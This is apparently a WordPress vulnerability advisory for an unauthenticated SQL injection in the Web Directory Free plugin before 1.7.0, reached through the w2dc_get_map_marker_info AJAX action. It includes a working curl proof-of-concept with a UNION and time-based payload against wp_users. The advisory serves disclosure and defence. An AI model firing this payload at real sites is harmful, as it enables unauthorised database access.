WordPress Plugin Vulnerabilities

Web Directory Free < 1.7.0 - Unauthenticated SQL Injection

Description

The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection with different techniques like UNION, Time-Based and Error-Based.

Proof of Concept

curl --url 'http://vulnerable-site.tld/wp-admin/admin-ajax.php' --data 'action=w2dc_get_map_marker_info&locations_ids%5B%5D=1+UNION+SELECT+null%2C68%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Csleep(10)+FROM+wp_users&map_id=1&show_summary_button=1&show_readmore_button=1'

Affects Plugins

Fixed in 1.7.0

References

Classification

Type
SQLI
OWASP top 10
CWE

Miscellaneous

Original Researcher
Simone Onofri, Kim Cerra, Andrea De Dominicis
Submitter
Simone Onofri, Kim Cerra, Andrea De Dominicis
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2024-05-23 (about 1 months ago)
Added
2024-05-23 (about 1 months ago)
Last Updated
2024-05-23 (about 1 months ago)

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